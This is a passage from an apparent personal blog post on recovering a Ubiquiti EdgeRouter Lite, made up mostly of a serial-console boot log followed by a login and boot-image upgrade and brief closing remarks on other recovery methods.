CPU revision is: 000d0601 (Cavium Octeon+)
Checking for the multiply/shift bug... no.
Checking for the daddiu bug... no.
Determined physical RAM map:
 memory: 0000000000543000 @ 0000000000400000 (kernel data and code)
 memory: 000000000004d000 @ 0000000000943000 (usable after init)
 memory: 0000000000107000 @ 0000000000990000 (kernel data and code)
 memory: 0000000007400000 @ 0000000000d00000 (usable)
 memory: 0000000007c00000 @ 0000000008300000 (usable)
 memory: 000000000fc00000 @ 0000000410300000 (usable)
software IO TLB [mem 0x0170d000-0x0174d000] (0MB) mapped at [800000000170d000-800000000174cfff]
Zone ranges:
  DMA32    [mem 0x00400000-0xefffffff]
  Normal   [mem 0xf0000000-0x41fefffff]
Movable zone start for each node
Early memory node ranges
  node   0: [mem 0x00400000-0x00a96fff]
  node   0: [mem 0x00d00000-0x080fffff]
  node   0: [mem 0x08300000-0x0fefffff]
  node   0: [mem 0x410300000-0x41fefffff]
Primary instruction cache 32kB, virtually tagged, 4 way, 64 sets, linesize 128 bytes.
Primary data cache 16kB, 64-way, 2 sets, linesize 128 bytes.
Secondary unified cache 128kB, 8-way, 128 sets, linesize 128 bytes.
PERCPU: Embedded 10 pages/cpu @800000000178a000 s10880 r8192 d21888 u40960
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 125893
Kernel command line:  bootoctlinux $loadaddr coremask=0x3 root=/dev/sda2 rootdelay=15 rw rootsqimg=squashfs.img rootsqwdir=w mtdparts=phys_mapped_flash:512k(boot0),512k(boot1),64k@1024k(eeprom) console=ttyS0,115200
PID hash table entries: 2048 (order: 2, 16384 bytes)
Dentry cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Memory: 495244k/504116k available (4057k kernel code, 8872k reserved, 1330k data, 308k init, 0k highmem)
SLUB: HWalign=128, Order=0-3, MinObjects=0, CPUs=2, Nodes=1
Hierarchical RCU implementation.
        Additional per-CPU info printed with stalls.
NR_IRQS:511
Calibrating delay loop (skipped) preset value.. 1000.00 BogoMIPS (lpj=5000000)
pid_max: default: 32768 minimum: 501
Security Framework initialized
Mount-cache hash table entries: 256
Checking for the daddi bug... no.
SMP: Booting CPU01 (CoreId  1)...
CPU revision is: 000d0601 (Cavium Octeon+)
Brought up 2 CPUs
NET: Registered protocol family 16
bio: create slab <bio-0> at 0
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource OCTEON_CVMCOUNT
NET: Registered protocol family 2
TCP established hash table entries: 4096 (order: 4, 65536 bytes)
TCP bind hash table entries: 4096 (order: 4, 65536 bytes)
TCP: Hash tables configured (established 4096 bind 4096)
TCP: reno registered
UDP hash table entries: 256 (order: 1, 8192 bytes)
UDP-Lite hash table entries: 256 (order: 1, 8192 bytes)
NET: Registered protocol family 1
octeon_pci_console: Console not created.
HugeTLB registered 2 MB page size, pre-allocated 0 pages
squashfs: version 4.0 (2009/01/31) Phillip Lougher
Registering unionfs 2.5.13 (for 3.10.34)
aufs 3.10.x-20141215
msgmni has been set to 967
io scheduler noop registered
io scheduler cfq registered (default)
Serial: 8250/16550 driver, 6 ports, IRQ sharing disabled
1180000000800.serial: ttyS0 at MMIO 0x1180000000800 (irq = 34) is a OCTEON
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
1180000000c00.serial: ttyS1 at MMIO 0x1180000000c00 (irq = 35) is a OCTEON
loop: module loaded
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
OcteonUSB 16f0010000000.usbc: Octeon Host Controller
OcteonUSB 16f0010000000.usbc: new USB bus registered, assigned bus number 1
OcteonUSB 16f0010000000.usbc: irq 56, io mem 0x00000000
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 1 port detected
OcteonUSB: Registered HCD for port 0 on irq 56
usbcore: registered new interface driver usb-storage
octeon_wdt: Initial granularity 5 Sec
TCP: cubic registered
NET: Registered protocol family 17
NET: Registered protocol family 15
Bootbus flash: Setting flash for 4MB flash at 0x1f800000
phys_mapped_flash: Found 1 x16 devices at 0x0 in 8-bit bank. Manufacturer ID 0x0000c2 Chip ID 0x0000a7
Amd/Fujitsu Extended Query Table at 0x0040
  Amd/Fujitsu Extended Query version 1.1.
phys_mapped_flash: Swapping erase regions for top-boot CFI table.
number of CFI chips: 1
3 cmdlinepart partitions found on MTD device phys_mapped_flash
Creating 3 MTD partitions on "phys_mapped_flash":
0x000000000000-0x000000080000 : "boot0"
0x000000080000-0x000000100000 : "boot1"
0x000000100000-0x000000110000 : "eeprom"
Waiting 15sec before mounting root device...
usb 1-1: new high-speed USB device number 2 using OcteonUSB
usb-storage 1-1:1.0: USB Mass Storage device detected
scsi0 : usb-storage 1-1:1.0
scsi 0:0:0:0: Direct-Access              USB DISK 2.0     PMAP PQ: 0 ANSI: 6
sd 0:0:0:0: [sda] 7831552 512-byte logical blocks: (4.00 GB/3.73 GiB)
sd 0:0:0:0: [sda] Write Protect is off
sd 0:0:0:0: [sda] No Caching mode page found
sd 0:0:0:0: [sda] Assuming drive cache: write through
sd 0:0:0:0: [sda] No Caching mode page found
sd 0:0:0:0: [sda] Assuming drive cache: write through
 sda: sda1 sda2
sd 0:0:0:0: [sda] No Caching mode page found
sd 0:0:0:0: [sda] Assuming drive cache: write through
sd 0:0:0:0: [sda] Attached SCSI removable disk
kjournald starting.  Commit interval 3 seconds
EXT3-fs (sda2): using internal journal
EXT3-fs (sda2): mounted filesystem with journal data mode
VFS: Mounted root (aufs filesystem) on device 0:11.
Freeing unused kernel memory: 308K (ffffffffc0543000 - ffffffffc0590000)
Algorithmics/MIPS FPU Emulator v1.5
INIT: version 2.88 booting
2043+0 records in
2043+0 records out
INIT: Entering runlevel: 2
[....] Starting SSH recovery service in the background
ssh-recovery: starting...
ssh-recovery: if=(all) port=(60257) terminate-timeout=(60)
[ ok ] Starting daemon monitor: monit.
[ ok ] Starting routing daemon: rib nsm ribd.
/opt/vyatta/etc/config.boot.default created
/config/config.boot created
[....] Starting EdgeOS router: migrate rl-systemssh-recovery: enabling link on interfaces...
ssh-recovery: eth0 :: mac=(44:d9:e7:95:a3:88)
ssh-recovery: eth1 :: mac=(44:d9:e7:95:a3:89)
ssh-recovery: eth2 :: mac=(44:d9:e7:95:a3:8a)
ssh-recovery: service started :: pid=(1021)
[ ok igure.
Starting network plug daemon: netplugd.

Welcome to EdgeOS ubnt ttyS0

By logging in, accessing, or using the Ubiquiti product, you
acknowledge that you have read and understood the Ubiquiti
License Agreement (available in the Web UI at, by default,
http://192.168.1.1) and agree to be bound by its terms.

ubnt login:

When you log in, you might see the following message.

ubnt login: ubnt
Password: ubnt
Boot image can be upgraded to version [ e102_003_eace7 ].
Run "add system boot-image" to upgrade boot image.
ubnt@ubnt:~$ add system boot-image
Uboot version [UNKNOWN] is about to be replaced
Warning: Don't turn off the power or reboot during the upgrade!
Are you sure you want to replace old version? (Yes/No) [Yes]: Yes
Preparing to upgrade...Done
Copying upgrade boot image...Done
Checking boot version: Current is UNKNOWN; new is e102_003_eace7 ...Done
Checking upgrade image...Done
Writing image...
Upgrade boot completed
ubnt@ubnt:~$

Final thoughts

There seem to be many ways to perform the EdgeRouter Lite recovery, depending on the issue. As I was writing this, I found this post, and it seems to be the same SQUASHFS issue that I encountered.

Another one I found was this post. According to the author, it is much simpler to use than the TFTP-based method, as demonstrated here. Though, users reported some issues.

If I ever see this again on this same hardware (I have two ERLs), then I will replace the USB flash drive to a Sandisk Cruzer Fit or Kingston Data Traveler and use this guide since I know it worked flawlessly.

You might like to read

How to configure EdgeRouter Lite via CLI – Part 1
How to configure EdgeRouter Lite via CLI – Part 2
Hardening EdgeRouter Lite – Part 1
Hardening EdgeRouter Lite – Part 2

Do you find this content useful? If so, consider buying me a coffee! ☕


Disclosure

AndrewRoderos.com is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.